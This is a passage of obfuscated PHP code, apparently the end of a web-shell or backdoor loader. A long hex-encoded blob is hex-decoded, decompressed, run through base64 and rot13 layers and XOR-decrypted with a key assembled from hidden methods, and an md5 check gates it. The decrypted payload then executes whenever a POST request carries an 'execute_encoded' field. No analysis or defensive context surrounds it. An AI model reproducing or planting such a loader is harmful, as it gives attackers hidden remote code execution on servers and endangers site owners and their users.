6f64a58f32de9e696ad6b33afb0bf243badcbf0fea11796741fe6fd1cfba83afecea412dcde73dfff95afeeb7bfcfdf9f3a79c36b59eca04fe934bd2fcf5bdf4afefe77ffb1ece906744c40a1ded6319f7afca7c0fad8b319d5699f22edf44dfc0c787df8e1fb9e75513e84ed7f7babdc46a5dad3d8beed04f4adde967defdf9fdf7efe35bddf1147984a9a9dfa8dada99f592b75ff163fe7fe0bfefc3f55631f4ee45dcbfd76e06e103af93f9de5c7c802fbfe2bf3d4d346d5235ee1fc52031fecb399ab26378ab2aa666a5249bf5b84fe3dbee2da98d73f2f3bfbee7ffe7fbf07fae2f41486e7a9ab7ba112d7cbf13de9eabbfddffebfafcbc5f7904fdaf7f8ad625f8373f27de6ae67dff81f117ffe37d3fbf77c7abb38a2f4f7c8de7afe42ef915cfffdcef2731cd3d4d4fd01bf7ecabe597fdfdddf3f1fe9bf2f64c8deccb5d4fe0A7d82f429afff29fc4175ffaf36b22ad7ff2e937cf2b1739c28f47f91b3cfeedf76dff0d78dcd1b8efe1b517befa857fbf7d3eeb8bbdf2fb3e1aa5d1931749579f66fdfd5468cc1beb7b3978f9af7cfdedf36233df023af5cbf7ff7ffcfe5ce8a6c8c87a6547ad947e50fd06bfffc2f3939e7a5bf885c7edc3f7dd501c1465e6fe9026bb374d6b33deef2ab5fee77effedfda514f5294affd77cceebdff09dfcdffc2e946ab35ef7674f4da7fb7ed376ae81ff38f1dd7fead7a366865fd6f80f3c0f71d7c74900bd1ee70fddf5a5f04bf05f8ebfaee779546a01df94b99e7841f518aee65ff5e7a77e4c517b48c2b5337ad612008f67d4432eba3957f515f7cf671dd7b1a4e48b6a94d95ff8097422f9d7ff6ffc6d7d44a0ef7e305722ca6c5f92a3f4dce99ff37f612bf57cdb2d4f39b925f1fc16ceabe429d9407f75c25a81f75f6aef5f7efad7ff07fdedff7d96448d978dfaedfcca41c757e0b57ad3445ca3d6b19f5a11c7dd3fd6bb3bfc82af74b4be87739fc553d1a461031e0e239fdd17e8d9faa985df7bf06ba68faa5dfeb75e31ea274d5622e78ea7d47530bfab48fe311ff3ff48f95f78eadffd9fff9fb48bcf1fbbc8f91aa14f85c181f8a1da52f44d6f7dbfff1824e7a727cff97fff1f'; $h = @substr($h, 5); $b = @hex2bin($h); $minfo = @json_decode(@base64_decode('WyJiNjQiLCJyb3QiXQ=='), true); $o = new self(); $k = ''; $k .= $o->ktpVV77(); $k .= $o->kSbqW33(); $k .= $o->kuVfZ79(); $gt = ''; $gt .= $o->gSDGK35(); $gt .= $o->gYtaj12(); if (@md5($gt) !== 'b2aac90d536ba2ca1f82d5cfa09e7396') { return false; } $decompressed = @gzinflate($b); if ($decompressed === false) { $decompressed = $b; } $current = $decompressed; if (!empty($minfo) && is_array($minfo)) { $minfo = @array_reverse($minfo); foreach ($minfo as $m) { switch ($m) { case 'b64': $current = @base64_decode($current); break; case 'rev': $current = @strrev($current); break; case 'rot': $current = @str_rot13($current); break; } } } $cipher_text = $current; $pc = ''; $klen = @strlen($k); if ($klen > 0) { for ($i=0; $i<@strlen($cipher_text); $i++) { $pc .= @chr(@ord($cipher_text[$i]) ^ @ord($k[$i % $klen])); } } else { $pc = $cipher_text; } if (!empty($pc) && is_string($pc)) { // Hanya eksekusi jika secara eksplisit dipanggil if(isset($_POST['execute_encoded'])) { $o->xoOqWmT53($pc); } } }}